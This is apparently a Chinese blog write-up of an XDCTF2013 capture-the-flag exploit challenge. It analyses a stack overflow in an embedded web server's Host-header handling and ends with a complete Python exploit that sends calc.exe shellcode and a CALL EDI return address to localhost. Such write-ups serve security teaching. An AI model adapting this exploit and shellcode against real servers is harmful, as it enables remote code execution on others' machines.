XDCTF2013线上赛exploit关(六)

该程序是一个内嵌的Web服务器,问题出现在处理HTTP报文Host字段时

处理过程调用了两个函数

.text:00401BFC                 push    offset aHost    ; "Host:"

.text:00401C01                 mov     [esi+624h], eax

.text:00401C07                 call    sub_402C70          <--定位Host字段内容并处理

.text:00401C0C                 push    eax                 <--处理过的Host字段内容

.text:00401C0D                 mov     [esi+62Ch], eax

.text:00401C13                 call    sub_401500           <--溢出的函数

其中sub_402C70的作用是在HTTP报文中定位Host字段的位置,并且会调用另外一个函数sub_402CF0

.text:00402CDA                 push    esi          <-- esi指向Host字段内容
.text:00402CDB                 call    sub_402CF0


这个处理函数的作用是定位Host字段的结尾,并把结尾处修改为NULL。处理逻辑如下

  v1 = str;
  if ( *str > (char)0x20u )
  {
    do
      v2 = (v1++)[1];
    while ( v2 > (char)0x20u );
  }
  *v1 = 0;

需要注意的是其中的判断语句是有符号比较,所以当字符小于0x20或者大于0x80(负数)时,都会判断为结束,替换为NULL。

之后就将处理过的Host字段内容作为参数,调用sub_401500,它就是溢出的函数了。

进入这个函数后,先申请了0x28字节的空间

.text:00401500                 sub     esp, 28h

随后就将处理好的Host字段内容复制到这里,造成溢出。

上面说过,Host数据会被处理,因此在利用漏洞的时候,会有一些麻烦。

首先是jmp esp的跳板不能使用了,找不到4个字节都满足上述要求的跳转地址。

其次是如果要将shellcode复制到栈中的话,必须所有的字符都满足以上要求,否则就会导致后面的shellcode内容被截断。

观察一下retn时寄存器情况,可以发现edi,esi,ebp都指向原始HTTP报文存储地址附近。

其中edi指向HTTP报文GET 后面的内容,可以考虑将shellcode放置在这里,然后通过CALL/JMP EDI跳转过来,这个跳转地址也要满足上述的限制。

搜索内存,找到一个合适的地址0x00406172。

然后将shellcode填充到HTTP报文中GET部分。需要注意的是,GET后必须先至少跟一个可见字符,否则程序会直接返回400 BAD HTTP REQUEST。

利用代码如下

import socket

# run calc.exe
SHELLCODE = \
"\xFC\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B" \
"\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x33\xD2" \
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09" \
"\x8B\x51\x18\x8B\x52\x34\x80\xFA\x33\x74\x02\x8B" \
"\x09\x8B\x69\x08\xAD\x60\x8B\x45\x3C\x8B\x4C\x05" \
"\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B" \
"\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08" \
"\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C" \
"\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B" \
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61" \
"\x3D\xC9\xBC\xA6\x6B\x75\xB5\x33\xDB\x33\xC0\x53" \
"\x40\x3C\x20\x75\xFA\x33\xDB\x53\xBB\x63\x61\x6C" \
"\x63\x53\x8B\xCC\x33\xC0\x54\x54\x50\x50\x50\x54" \
"\x50\x50\x51\x50\xFF\x57\xFC\x33\xDB\x53\xFF\x57" \
"\xF8"

HOST = "127.0.0.1"
# 0x406172  call edi
EIP = 'A'*40 + '\x72\x61\x40'
s = socket.socket()
s.connect((HOST, 80))

payload = "GET A"+SHELLCODE+" HTTP/1.1\r\n" \
          "Host: "+EIP+"\r\n" \
          "\r\n"

print '[+] Sending payload...'
s.send(payload)
print '[+] Done.'

s.close()


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值